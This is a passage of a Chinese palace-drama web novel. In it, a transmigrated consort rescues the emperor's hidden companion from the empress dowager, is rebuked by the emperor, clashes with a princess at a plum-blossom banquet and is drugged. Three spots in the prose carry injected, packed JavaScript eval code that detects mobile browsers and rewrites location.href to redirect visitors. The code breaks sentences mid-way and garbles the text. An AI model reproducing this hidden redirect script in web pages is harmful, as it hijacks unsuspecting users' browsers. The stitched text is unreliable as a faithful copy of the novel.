“你......苏清夕,朕就不该理你这般的疯言疯语。”尧让气囔囔地把话说完之后,便往门口走去:“明日记得回宫!” 不给夏星辰说话的机会,他径直地走出了房间,瞬间没了影。 一想到刚才尧让那羞涩和慌张的表情,夏星辰只想发笑。后宫佳丽三千的帝王,竟然还是个处男!这怕是让别人知道都是令人诧异的消息。 “这古代人就是古代人,对于成人之间的这种问题,最是觉得难以启齿!”夏星辰感慨道。 第二日,夏星辰还是乖乖地听了狗皇帝的话回了宫,在苏承和苏风逸的喋喋不休之中,她终于是踏上了马车。 掀开轿帘,她扶着轿壁探身向外,看到苏承和苏风逸还站在原地看着她,她眼眶微红,却努力地扬着笑意,朝着他们挥了挥手:“爹爹,哥哥,我会好好听话,谨守规矩;日后得了空,我再回来看你们。” 将军府门口的苏承看着马车越来越远,他轻叹道:“小夕还真是变了!” “希望她能一直如此吧。”苏风逸的内心还是满满的疑惑,他实在无法理解,一个人怎么会在这么短时间内发生如此巨大的变化。 在打扫寝宫的小莲一看到夏星辰回来,便扔下手中的扫帚,连忙朝着夏星辰跑过去,开心地说道:“娘娘,您总算回来了,奴婢好想您啊。” “才仅仅一天而已啊,我还不想回来。” 看着夏星辰哭丧着个脸;小莲四处看了看,小声地说道:“娘娘,昨夜出事了。” “出事?出什么事了?”夏星辰的眼睛里尽是对八卦的好奇。 “昨夜,太后命人打扫陛下的极咸宫,意外发现了藏在极咸宫的一位民间女子,随后,那位民间女子便被太后绑至甘宁宫,直到现在了,依然没有消息。” “陛下呢?陛下没有去甘宁宫将人带回来?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613190|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏星辰之所以这么问,是因为她很清楚这位民间女子紫烟对狗皇帝来说多么重要。 “陛下从昨夜就没回宫。” “什么?没回宫?怎么可能?”夏星辰顿感不安,若是狗皇帝真出了事,那不仅是朝廷大乱,就连天下也会大乱。 经过上次差点被尧显掐死的事情,她现在对于尧显这个人的品性可谓是看得非常通透;对于一个于自己没有利用价值的旧人,他都没有念及一丝一毫的往日恩情,说杀便杀,若是让这样的人当了皇帝,这还了得? “小莲,你马上将陛下未回宫之事告诉我哥哥,务必让他找到陛下,快去。” 小莲点了点头:“是,奴婢这就去。” 虽然这本小说的男主是尧显那个王八羔子,但按照狗血小说的尿性,男主通常也不是什么善茬儿。让夏星辰担心的是,正常来说,男主都会有主角光环护体,还怎么都死不了,而男二呢,即便是个明君,在看小说的读者眼里,他也就是个反派啊。 关键是也不知道在作者的笔下,尧让的结局是怎样的,但此时此刻,他可不能出什么事情啊! 至少按照目前来说,尧让虽然性情反复无常,但在他手里,夏星辰还勉强能活得下来。这要是落到了尧显手里,这不得死得不能再死了。 通过尧显上次想杀了她这件事,她便猜测原主苏清夕有可能不是女主;一个男人都想杀她了,她总不至于这般恋爱脑吧。若小说里苏清夕还是对想杀她的人死心塌地效忠,夏星辰发誓,她回到现代后,一定会写满差评,怒评小说三观不正,然后喷死作者。 “林公公,林公公。”夏星辰跑到极咸宫门口,紧紧地抓住林贤的衣袖喘着气。 “等等,我喘口气,累死我了。”夏星辰拍了拍自己的胸口,努力地调整自己的呼吸节奏。 “娘娘,您怎么来了?您要是来找陛下,现下陛下不在啊。” 夏星辰忽然想起了那个躲在暗处的百里,开口问道:“百里呢,你问问他啊。” “奴才已经让百里去找了,眼下还未有消息。” “林公公,我问你个问题,你要如实跟我说。” 林贤点点头。 夏星辰看着他,认真地开口问道:“紫烟姑娘躲在极咸宫多久了?” “陛下登帝第三年。” “那也就是说她陪了陛下两年,我们这些嫔妃都是近一年才入的宫,最早入宫的也远远不及紫烟姑娘;所以,紫烟姑娘对陛下来说很重要。” “娘娘,眼下,她的确是对陛下来说很重要。” 得到这个肯定的答案后,夏星辰从腰间拿出了之前尧让赏赐给她的玉佩,问道:“林公公,这枚玉佩是陛下赏赐的,我想确认一下,这玉佩能让我在太后面前救人吗?” 林贤将目光落在她手中的玉佩上,随即重重地点点头:“能。但娘娘,这枚玉佩代表的是陛下亲临,旁人只能用一次,您确定这时候用吗?” “也没办法了,若是紫烟姑娘出事了,你觉得你能活吗?极咸宫的一众奴才婢女能活吗?林公公你眼下抓紧把陛下找回来,我得赶紧去甘宁宫了,晚了就只能见到尸体了。”夏星辰说完话后便朝着甘宁宫走去了。 “明妃娘娘到。” 随着下人的通传,夏星辰朝着太后躬身行礼:“臣妾见过太后。” “明妃今日怎的来哀家这里了?” 夏星辰抬眼望向太后,目光扫过,恰好瞥见太后身旁坐着的贵妃;以及跪在地上的紫烟。 她努力平复了自己的呼吸,语气里夹带着慎重:“太后,这位紫烟姑娘是陛下身边的人,您怎么将她带到您寝宫来了?” “明妃,你一个小小的妃子,现在是在质问哀家吗?”太后目光冷冽地扫向她,声音里带着不可侵犯的威严:“一个未被册封的民间贱民,竟敢躲在天子寝宫,这算怎么回事?看你这般言行,想来是早就知道她的存在了?作为妃子,你连宫规都不懂吗?” 见夏星辰未开口为自己辩驳,太后的声音便再一次传入耳内。 “若是这贱民心怀不轨,谋害皇帝、有损龙体,你明妃担得起这份责任吗?”太后冷笑出声:“还是说,你背后的将军府能担得起?” 19.暴君与太后的博弈 夏星辰真是无语至极。明明是她自己一个人站在这里,话也是她一个人说的,她的一言一行与将军府有什么太大的关联?但仔细一想,古代似乎是挺喜欢“一人犯错、株连九族”这种残忍的刑罚的。 “臣妾不敢。但陛下是天子,天子行事,纵使臣妾以及宫中嫔妃再不满,也不敢冲撞陛下;别说是在极咸宫藏了一位民间女子,哪怕是陛下藏了一群女子,试问太后,整个天下,有谁敢在陛下面前说一个不字。” 夏星辰话音刚落,太后便猛地一拍身旁的木桌:“你大胆,哀家是太后,是皇帝的生母,是这后宫真正的主子!处死一个人,亦或者是反对一件事,在皇帝面前,哀家还是有话语权的。” 太后目光落在跪在地上的紫烟身上,语气里是不容置疑的强硬:“来人,将这贱民拖下去,杖毙!” “太后,您不能处死我,我是陛下身边的人,没有人有资格处死我!“紫烟大声咆哮道,语气里满是傲气。 此时的夏星辰只是觉得紫烟不愧是有皇帝撑腰的人,明明只是个身份卑微的民间女子,言行举止却比出身名门贵族之女还要高傲! “哀家倒要看看,哀家究竟有没有处死你的资格!”很明显,紫烟这个民间女子是把太后彻底惹怒了。 殿外的侍卫应声而入,她却未再看紫烟一眼,转而将冰冷的视线投向一旁的夏星辰,语气冰冷:“你不过是一个小小的妃子,竟敢当众顶撞哀家,殿前失仪、目无尊卑!” “来人,将明妃一并拖下去,杖责二十,让她好好长长记性,恪守宫规礼仪。” “本宫看谁敢!”夏星辰攥紧玉佩高高举起,声音虽然夹杂着颤抖,但字字铿锵有力:“此乃陛下御赐的玉佩,见此玉佩,如见陛下亲临!本宫倒要看看,谁敢在此刻动手,折了天子的脸面?” 面对如此强势霸道的太后,夏星辰明显是无法招架的!她也不清楚尧让的这枚玉佩究竟能不能震慑到太后,只能拼命一试! 侍卫不知所措地站在原地,不知道该动还是不该动。 太后死死地盯着她手中的那枚玉佩,瞳孔骤然收缩,像是被刺到痛处般脸色涨红,过往令她不快之事瞬间涌上心头。她猛地攥紧手中的佛珠,佛珠便因过大的力气“啪嗒”一声从指尖滑落,青红色的珠子在石砖上四处滚落。 “苏清夕,你这混账东西!”太后被气得浑身发抖,抬起手死死地指着她,厉声呵斥道:“哀家看你是在找死,来人,给哀家把这目无尊长的贱人拉出去,活活打死!” 话音刚落,一声尖细的声音不合时宜地响起。 “皇上驾到。” 尧让身着威压感十足的黑金色龙袍,缓步走入甘宁宫,每一步都带着无形的帝王威压。见到他的瞬间,殿中众人除了端坐的太后,皆纷纷跪下,连大气都不敢喘。 坐在太后身旁的萧诗柔更是慌得连忙起身,手忙脚乱地将位置腾了出来;随后也跟着众人跪在地上。 “见过陛下!”众人齐声道。 尧让目光淡然地扫视殿中跪着的众人,又瞥了一眼脸色铁青的太后,他落坐在她身旁,声音不高不低,脸色异常平静:“母后,您这甘宁宫,今日倒是这般热闹。” “陛下,救我!”紫烟在看到尧让后,语气里的嚣张气焰便更甚了。 夏星辰瞥了她一眼,实在是没忍住朝她翻了个白眼。这还是第一次有人让她觉得如此的愚笨,即便是有皇帝撑腰,可身旁的太后还是有话语权的! 说真的,夏星辰着实是有点后悔救这么个‘狗仗人势’的蠢货了。 “朕在与母后说话,何时轮得到你插嘴了?”说罢,尧让便眼神冷冷地注视着她。 感受到他那道不带任何感情的目光,紫烟瞬间识趣地闭上了嘴,紧接着低下头,不敢再与其对视。 一旁的太后嘴角勾起一抹冰冷的笑意,语气里添了几分尖酸刻薄:“皇帝来得还真是时候,上次宫宴是这般,今日又是这般,哀家很好奇,皇帝何时竟爱管起这后宫的琐碎事了?” “母后说笑了!整个皇宫都是朕的,朕闲来无事,想管便管了,难道此举,会令母后不悦?还是说,朕上次在暖阁说的话,母后是忘了?”尧让话锋一转,他侧过头看着太后,脸色平静得可怕:“不过,朕有件事倒想问问母后,天子的寝宫,何时成了能随便进去的地方?” “朕早就说过,朕的极咸宫,没有朕的允可,谁也不能踏进去半步,包括母后您!” 话音刚落,他对身旁侍立的林贤沉声吩咐道:“林贤,传朕旨意,将那些擅闯极咸宫的奴才,即刻处死。至于那些踏入寝宫半步的的嫔妃,朕便给母后一个薄面,一律杖责二十,以儆效尤。” “是,陛下!”林贤应声道。 “皇帝!哀家是你生母,是这天下的太后!”她站起身,指着尧让,声音里尽是气急败坏的颤抖:“难道,哀家竟连你寝宫都入不得?你眼里,到底还有没有哀家这个母后?” 尧让没有理会她的气急败坏,只是忽的低笑出了声,笑声里带着几分说不清的凉薄之意:“母后,朕眼里怎么会没有您呢?若朕真的不念及旧情,您又怎么能安安稳稳地坐在这太后的位置上?毕竟,若是那位将朕养育成人的先皇后还在,这太后之位,想必也轮不到您来坐吧?” 见到太后的脸色被气得铁青,他语气轻缓,却一字一句带着质问:“如今您倒是知道自己是朕的生母了,可您是否时刻记得,朕也是您的亲生儿子?” “皇帝是何意思?哀家听不明白。” “那朕便与母后说得再明白些。朕是天子,太后自然是管不了天子的。母后您带人擅闯极咸宫,可还知晓朕是皇帝?”最后那句话,尧让的语气明显带着怒气:“母后如今这般肆意妄为,下一步是否要干涉朕的朝野?夺走朕的皇权?” “皇帝!”太后无力地怒吼道。 “母后!若提及至亲,朕与王兄同样是您的亲生骨肉,您为何偏偏这般厌恶朕呢?” 尧让这一句话轻得像一声叹息,却重重地砸在了太后的心上。 在这一刻,太后也明白了,她在他年纪尚小时对他做的一切,他都记在了心里,自己不偏爱他这件事,他也心知肚明。 “哀家是你母后,怎会厌恶你?”她试图告诉尧让,她“真的爱他”。 可眼前人显然是不信,他收回了笑意,眼底翻涌着刺骨寒意:“母后,若坐上这帝位的是王兄,您是否会像疼惜王兄那般疼惜朕?哪怕是半点?朕,还能活到至今吗?” 太后的指尖死死地掐进掌心,指甲几乎要嵌进肉里,才勉强压下内心的慌张。她抬眼对上尧让那双洞悉一切的双眼,故作镇定地闷哼了一声:“当然能活!你们是亲兄弟,他怎会害你?” 话虽如此,但是太后脸上的表情还是泄露了几分难以掩饰的慌乱。 尧让似乎是听到了令他觉得很好笑的话,不禁笑出了声;随即便站起身,居高临下地看向太后,语气里满是嘲讽:“亲兄弟?母后,您可知朕过往,就是被这三个字困住了。最后,朕换来的是什么?” 他一步步地走到太后身前:“换来的是......当年在围猎时,是谁故意将朕推到太子身前,令朕误伤了太子,被父皇鞭打了整整十来鞭,事后您可曾探望朕一眼?太子被朕手刃后,是谁给朕端来那有毒的参汤?还有先皇后,吃了那么多药,身子越来越差,是谁暗中动的手脚?” “您真当朕什么都不知道?真当朕是您能摆布的傀儡皇帝?”说出这些话时,尧让的神情没有因埋怨而面红耳赤,反倒是如一开始那般的平静如水。 而那些被戳穿的过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622423|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往,使得太后内心的慌张已然无法强压,她跌坐在椅子上,紧紧地抓住扶手,强撑着自己的颤抖的身体。 “母后,朕今日便明着告诉您,这太后的位置您若想坐稳,就安分守己地坐着。要是您心里始终只认王兄那个儿子,大可以搬去亲王府。选哪条路,不用朕教您吧?当然,朕尊重母后所做的一切抉择,一道圣旨而已,朕没有那般小家子气。” 说着,他那平静的神情瞬间被冷漠替代:“可若是母后依然选择做太后,那今日之事,莫要再发生第二次。母后您是知道的,朕若是真的计较起来,恐真会伤了朕与您的母子之情。” 他的话很平静,平静得没有一丝情绪的波动,似乎是把自己这些年压在心里的话全说了出来。 太后语塞,已然是说不上来一句话,只剩下手足无措的慌乱。 “既然无事,朕便不留在这里令母后不悦了。” 话音刚落,尧让便转过身朝着甘宁宫殿外走去,走到夏星辰身边之时,他脚步停了下来,伸手一把将她往自己的身边拉了过去。 随后,他目光落在跪在地上的紫烟,声音里带着不容违抗的命令:“你也跟着来。” 走到殿门口,他未回过头,而是背对着殿内众人,对身后的林贤冷冷的吩咐:“方才朕吩咐你的话,你记牢了。那些人,不必留到明日,让他们早点上路。” 声音不高,却一字一句都让殿内众人心头一凛。 夏星辰就这样被尧让拉着往前走,她看着他的背影,脑海里还浮现着他对太后的那番质问;此刻,她似乎是明白了,那日在将军府,他为什么会因为自己先担心苏风逸而生气了? 即便是登上云天的皇帝,也同寻常人一般想在第一时间被在意...... 她本来可以不用以身涉险来太后寝宫救紫烟的,纯粹就是因为她从内心里就确信,尧让这暴君很有可能会因为紫烟而惩罚极咸宫的所有人,这祸水也自然有可能殃及于她;毕竟,她也想证明自己也是可以为他做些什么,只有这样才能让尧让觉得她对他来说,还是有一点用处的。 如果将紫烟救了下来,也间接向他证明了自己是有用的;没想到,这玉佩竟然也不能在强势的太后手下救下紫烟,反而差点还‘买一送一’。 夏星辰被带到极咸宫后才被放开了手,没有他的吩咐,她也不敢乱动,更不敢开口说话。 尧让坐在软榻上,目光落在站着的紫烟身上,他脸上的神情夹杂着即将发作的怒火:“朕是不是同你讲过?无事就安安分分躲好,别让任何人看见!” 他身体忽然坐直了些,看向她的眼神多了一丝冷漠:“怎么?按耐不住了?你也想要成为这后宫中的一个妃子?” “呆子,我......” “你唤朕什么?”尧让的话冷漠得让人身体直哆嗦。 紫烟的脸上明显添了些许慌张:“陛下,我不是故意被太后发现的,实在是觉得偏殿太闷了,所以便想着出来透口气,没成想......刚要走回去,就撞见了太后;是我思虑不周,给陛下惹了麻烦,是我的错!” “闷?你可知这是极咸宫,多少人连踏进来的资格都没有,你倒嫌它闷?两年的时间,你进进出出,今日才想起它闷?” 尧让这副咄咄逼人的态度,让紫烟默默地低下头不敢再说话。 这对话反倒是把一旁站着听他们争辩的夏星辰搞憋屈了,她就不该心疼这狗皇帝,人家姑娘没名没份的跟着他,他倒好,地下恋情被捅破了之后就把脏水往人家姑娘身上泼,还指责人姑娘想要名分了?跟在他身边两年,要个名分不是也很正常吗?果然啊,男人就是怕你要得多,不是他没有,是你不值得! 尧让这个狗皇帝的渣男行为要是被放到现代,可妥妥要被放到网上遭受谴责的...... 20.见人说人话,见鬼说鬼话 虽然夏星辰看不惯尧让这番做派,但碍于之前他说的话,也为了自己这条小命活得久些,索性就直接闭上嘴,当个安安静静的听众。 紫烟没有再说出半句话来为自己狡辩,识趣地一言不发;而这如死亡般寂静的氛围还是被尧让打破了。 “下去吧!” 伴随着尧让这没有温度的命令,紫烟只是微微行了个礼后便转过身往殿外走去。但经历过几次这样的命令后,夏星辰并没有选择也走出去,而是乖乖站在了原地。 “你站在这里做什么?”尧让看向她的眼神里夹杂着几分疑惑。 “臣......臣妾这不是因为前几次您都让臣妾留下,这一次索性就乖乖等着了。” 听到她这句话,尧让的嘴角微微上扬:“你若不开口,朕还真是把你给忘了。”说着,便话锋一转:“苏清夕,你觉得你此番作为,朕是否要嘉奖你啊?” 这狗皇帝尽说些夏星辰猜不透的话中之意;她本就不懂得这话语的弯弯绕绕,每次都要靠自己瞎想,然后不停地去揣测狗皇帝想表达的是什么。 可每一次揣测出来的结果总是天差地别、不尽人意...... “陛下,您要不然直接说明白呢?臣妾脑子笨,实在是不懂得陛下您究竟是想要表达什么?”夏星辰的声音很小,她不确定尧让现在是生气还是不生气。 “好,那朕就说你能听懂的话。”尧让站起身,一步步走到她面前,语气极其冷淡:“苏清夕,朕向来都是不理会后宫这些破事的,也向来不屑干涉后宫妃子之间的明争暗斗。若是哪个妃子死了,那便死了,也与朕无关,朕也懒得去管。” 夏星辰被尧让窒息的压迫感逼得步步后退:“可......可太后要杀了紫烟姑娘啊,所以臣妾才......” “那就让她去死!”尧让忽的打断了她的话:“你拿着朕赏赐给你护身的玉佩在太后面前救人,便是直接将朕也卷入这后宫的争斗之中。你是不是觉得朕很闲?” “臣妾没有这个意思!” “这是第二次了,苏清夕。朕上次在宫宴上救了你,以及王兄要杀了你时又将你救下,不是因为朕很闲,也不是因为朕要策反你,只是因为......你是苏风逸的妹妹,但朕也与你说过,朕不只一次想要杀了你!今日之事,谁让你自以为是?” 夏星辰听着他的话,不禁无语至极;习惯用现代思维来思考的她此刻更是觉得尧让当真是有大病,一个人怎么能不讲道理到这份上。 “陛下,您是不是莫名其妙?我不顾自身危险跑到甘宁宫是因为谁?还不是因为你的白月光被抓了?”话说到一半,夏星辰便抬起手轻掐自己的人中,继续开口说道:“你以为我是什么救世主啊?我才懒得管别人的死活呢,我拿那玉佩出来,是为了要救你的白月光,不想让你难过,我都不知道我做错了什么?你在这里跟犯了羊癫疯似的。” 夏星辰说话的声音越来越大,她本来就因为这件事够烦心的了,自己明明做了好事,还反过来被他骂。 还真是哑巴吃黄连,口苦说不出! 看着尧让的脸色愈发的难看,她也顾不上那么多,再这般的当受气包下去,不用等到这狗皇帝杀了她,她自己都要被折磨得精神病了! “既想当救世主,却又没有全身而退的本事;你这不是在帮朕,是在感动你自己。”尧让将她逼退至后背直直贴在柱子上,冷淡道:“这是最后一次朕原谅你的无知,下次你若还是这般的口无遮拦、目无尊卑,朕就拔了你的舌头去喂狗!” 真是折磨人的祖宗!夏星辰哪里还敢说话?刚才她有多嚣张,现在就有多弱鸡。 “滚出去!” 一听到这令人后背发凉的话,夏星辰先是慢慢地往旁边挪了挪,随即朝着门口跑了出去,头都没回。跑到门口的时候,还意外撞到了朝里走的林贤。 “对不住啊,林公公。”夏星辰的声音里还带着未缓过神的慌张。 “是奴才冲撞了,娘娘慢走!” 话刚说完,林贤便看到速度如箭般跑开的夏星辰,转眼间便看不到踪迹。 “陛下,那些人都已处死!”林贤走进内殿,躬身禀报。 坐在软榻上的尧让指尖轻抵着额角,漫不经心地开口:“林贤,拟旨。民间女子紫烟为......予妃,赐住昔阳宫,所有规制按妃位办妥。” 林贤虽心有疑惑,但还是点了点头应声道:“是。” 在他转过身之际,尧让的声音忽的响起:“还有一事......” “陛下还有何吩咐?” “日后,苏清夕若有事寻朕,一律不见!”尧让想了想,又补充道:“死了也与朕无关。” “这......是,奴才遵旨!”林贤转过身走了出去。 另一边如获大赦的夏星辰倒是平稳度过了一个月的安生日子。这一日如往常一般,她半躺在太师椅上悠闲地吃着手里的葡萄。 “哎~无聊是无聊了点,但好歹也不用面对那个狗皇帝,天天提心吊胆的,吓都吓死了。”夏星辰边吃着葡萄边自言自语道。 “娘娘,娘娘。”小莲走了进来,轻声说道:“贵妃娘娘设了个梅花宴,邀您前去呢。” 夏星辰坐直了身子,无奈地叹了口气:“我能不去吗?” “方才贵妃娘娘差人来说了,今儿这梅花宴是特意为了予妃娘娘融入后宫所设。若您不去,怕是容易叫人在背后嚼舌根,生出些不必要的麻烦来。”小莲低声劝道。 “予妃娘娘?我怎么没听过啊?” “就是前些日子被太后在极咸宫抓住的那位民间女子,陛下赐封了她妃位。” 夏星辰轻笑出声:“狗皇帝!嘴上说着些莫名其妙的气话,实际上不还是心疼得要死,生怕委屈了他的白月光;上次他说的那些话,我还以为他真对白月光无情呢,嘴硬!” 一旁的小莲不明所以地看着夏星辰,她听着这毫无顾忌的发言,弱弱地问道:“娘娘,那我们去吗?” “去吧,总不能不给人家面子吧。” 这萧诗柔不愧是有太后撑腰的,就一个小小的梅花宴都操办得如此奢华。夏星辰看着眼前桌子上的各种鲜花饼和花茶,偷偷拿起一块塞给身旁的小莲。 “娘娘,这......” 夏星辰抬起手遮住嘴角,小声地说道:“嘘!小声点,偷偷藏好啊,你也试试这鲜花饼什么味道的。” 小莲微微点了点头,随即便悄悄将鲜花饼藏在袖口里。 “予妃妹妹,这鲜花饼是本宫特地命人制作的,新鲜着呢,你试试。”萧诗柔看着紫烟笑道,随即目光扫了众嫔妃一眼:“其他妹妹也试试吧。” “多谢贵妃娘娘。”众嫔妃齐声笑道。 “今年的梅花开得甚好,本宫便想着与众姐妹一同赏赏梅,这何尝不是一件令人愉悦之事。”说罢,萧诗柔便站起身,众嫔妃也跟随其后,漫步在这一大片梅林中。 看着飞落的梅花,的确还真是令人心情愉悦。这还是夏星辰第一次这么悠然自得地赏花,记忆中,她从来没有过与这时一般心无旁骛地赏花、放松心情。每天想得最多的就只是日复一日的工作是否完成了。 每日两点一线的忙碌着,早就让她忘记了原来人还能有时间赏花娱乐呢。 “明妃娘娘!”一道声音扰乱了她的思绪,一时之间还被轻微吓了一跳。 她转过身,看着眼前与平日里完全不同装扮的紫烟,竟让夏星辰有那么一刻认不出她来,此时在她的脸上再也找不到初相识时的阳光明媚了。 “如今你已是陛下亲封的予妃了,恭喜!”夏星辰淡淡一笑。 “姐姐说笑了,紫烟能有这一日,还多亏了上次姐姐不顾一切救妹妹性命。”随即便朝着夏星辰躬身道:“多谢姐姐!” “客气了,算......算本宫偿还你之前的救命之恩。” “予妃娘娘,你可要当心了,莫要与咱们的明妃娘娘走得太近。”清冷的女声瞬间打破了二人的谈话氛围。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627348|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 夏星辰抬眼望去,来人一身淡绿色宫装,眉眼间还带着几分说不上来的阴阳怪气。瞧着她那趾高气昂的模样,夏星辰仿佛想起来小莲与她提过的一女子——太后的义女林语枝。 只是这位义女不争气,在深宫之中混了多年也没得到半点妃位,逐渐失去了太后的欢心。可即便如此,太后仍是将她留在身边,自作主张地封了她一个郡主。 小莲还偷偷与她讲过,封郡主这件事,尧让那狗皇帝都不知情。所以,知道她是郡主的,也只有后宫这些妃子了。 这么一细想,太后还真是有闲心管着后宫的每一件事。 “郡主这话是什么意思?”紫烟率先开了口。 林语枝看着夏星辰,翻了个白眼,嘴角勾起一抹鄙夷的笑:“咱们的明妃娘娘手段可多着呢,先前竟敢下毒谋害贵妃娘娘,可惜没得手,反倒是将自己送进了冷宫。” 说着,便得意的笑出了声:“你若是跟她走得太近,小心哪天也被她悄无声息地给毒死。” “我家娘娘才不是这样的人!”小莲往前一步,朝着林语枝说道。 话音刚落,一记耳光便落在了小莲的脸上,力道重得嘴角都渗出了血。 “你算个什么东西?竟敢顶撞本郡主!” 夏星辰立马将小莲拉至身后,抬起手,将那一耳光重重地还给了林语枝;这一记耳光,直接把她耳朵上的耳环打落了下来。 “苏清夕!”林语枝捂着自己被打的一侧脸颊,怒吼道。 “你放肆!本宫是陛下亲封的明妃,是妃位,你算什么东西?敢当着本宫的面教训本宫的人?”夏星辰一字一句地说着,语气里满是冷淡:“且不说你算不算郡主,即便你是郡主,你又有何胆子数落陛下的妃子?” 夏星辰穿越到这个王朝的时间也算长了,对于一些宫规礼仪也算是琢磨得很透彻。她是不愿意与人发生争执,但也不是那种忍气吞声的白莲花人设。 “我......”林语枝自知理亏,她想要发作却寻不到什么身份发作。太后义女这层身份,又怎么会比得上眼前明妃尊贵!更何况,太后不只是一次让她莫要惹事生非...... “郡主,不可如此无礼,还不赶紧向明妃娘娘道歉!”萧诗柔走了过来,脸上挂着一副慈眉善目的笑容。 别人或许不清楚萧诗柔的手段,可夏星辰是实实在在地领教过的。若说比手段这件事,这萧诗柔的手段才是技高一筹呢?苏清夕这货怎么可能是其对手! 但夏星辰对于“见人说人话,见鬼说鬼话”这一套可谓是信手拈来。没办法,‘职场老油条’这名号可不是白得的! “郡主还真是好大的架子!眼里不仅没有本宫这明妃,还不把贵妃放在眼里呢,难不成,即便是陛下亲临,郡主这也是不将陛下放在眼里?”这话虽是夏星辰笑着说的,但脸上那笑意任谁都看得出来藏着刀。 “我没有。” “可......公然数落妃子,不就是在驳陛下的面子吗?你觉得罪会轻吗?”夏星辰依然不饶不休。 萧诗柔走到林语枝身旁,皮笑肉不笑道:“郡主,道歉!” 林语枝自知再闹下去,对自己是无利的。便攥紧了拳头,低声开口道:“对不住,明妃娘娘!是我胡言乱语,望娘娘恕罪!” “妹妹,郡主也是一时失言,绝无任何冒犯之意,还望妹妹莫要与她计较。”萧诗柔温声道。 夏星辰淡然一笑:“既然郡主知晓了自己的错误,那本宫便大人不记小人过!” 看着这总算解决的明面挑拨,紫烟的脸上露出了一抹意味不明的笑意。这一闪而过的笑意被夏星辰无意间瞥见,虽心有疑虑,但也是没将这奇怪之处放在心上。 “既然误会已经解除,那便继续这赏花宴,莫要因此扰了众姐妹的愉悦。”萧诗柔说着便拉起紫烟的手,邀约着一同赏起了梅花。 向来不合群的夏星辰自顾自地坐在一旁吃着鲜花饼,脸上还不自觉露出了对食物赞不绝口的笑容。 21.提起裤子不认人 “我......我怎么感觉有点点热呢?这寒冬腊月的,也太奇怪了吧?”夏星辰边嘀咕着边抬手扯了扯领口的衣襟,试图从中得到一丝凉快。 “小莲,小......”她转过身,却没见着小莲的身影。 但此刻身上那股奇怪的感觉愈发的令她不自在,顾不上找小莲,她连忙往莹粹宫的方向走去。夏星辰第一次觉得,这条回宫的路竟然如此的漫长,总感觉怎么走都没有尽头。 她的身体越来越轻,双脚一软,直接往前倒去。可身体并非如她所想的那般倒在冰寒的雪地里,而是撞进了一个温热的怀抱里。 夏星辰努力地抬眼看着眼前人,虽然无法看清这人的模样,但他身上的味道却是如此的令她熟悉。 “我好热,头也好痛......” “松开......”眼前的男人开了口,一把将夏星辰推开。 可夏星辰却紧紧地抓住了他的衣襟,大口大口地喘着气:“别......别走!”直到这一刻,她才反应过来,自己是被下药了! 她还未来得及细想,眼前的男人却一把将她抱了起来。她不知道这男人将她带去了哪里,只模糊地看到他抱着她走进了一间香气浓烈的房间内。 夏星辰不知道自己被下了什么药,也不知道是什么时候被下的药,只知道随着时间的流逝,身体的那种奇怪且不适的感觉愈发的强烈,强烈到她直接搂住眼前男人的腰。下一刻,她便已经丧失了正常的理智,一步步将眼前的男人扑倒在床榻上...... 模糊中,她似乎看到男人在拼命地甩着头,但结果却仿佛未如他意;伴随着药性发作,眼前男人将夏星辰反压在身下。在帐幔缓缓垂落时,夏星辰的意识只存在于这缠绵之中......短暂失去了思考的能力。 一阵翻云覆雨之后,体内那种奇怪的感觉才慢慢消失。夏星辰微微睁开眼,脑海中浮现着昨夜那令人羞耻的画面,发生的这一切顿时令她不知该如何是好。 随即,她小心翼翼地掀开被子瞄了一眼;确定已经发生不可挽回的事情后,那种后怕心情瞬间涌上心头。 彻底玩完了......她做了这等出格的事情,怕是要被浸猪笼了,想到这,她连死的心都有了。还没从恐惧中缓过神,身旁却传来了动静,她缓缓地侧过头,一张无比熟悉且俊俏的侧脸映入眼帘...... 昨夜与她翻云覆雨的男人......是狗皇帝尧让! 完蛋了!她死定了! 夏星辰下意识的反应便是赶紧离开这是非之地。她动作轻缓的坐起身,自以为这么小幅度的动作应当不会吵醒身旁的人。可事实上,尧让已经睁开了眼睛,而且那充满杀意的目光此刻也已经落在了她的身上。 “好......好巧啊。”此时夏星辰拼命挤出的笑容简直比哭了还难看。 眼前之人的脸色愈发的阴沉,那充满杀意的眼神看得她直发怵:“陛......陛下,你听我解释!” 夏星辰脸上的慌张已经明显无比,她刚要继续开口解释这一切,颈间便再次传来熟悉的痛感,她明显感觉到,这一次的力道比上次要重得多。 “陛下,放开我......我真的喘不上气了。”夏星辰抬起双手不停地拍打着他掐在自己脖子的手。 “苏清夕,你当真是好手段啊;你那腌臜手段都使在朕身上了,你怎么敢的?”尧让语气极其的冷淡,还夹杂着无法压制的怒火。 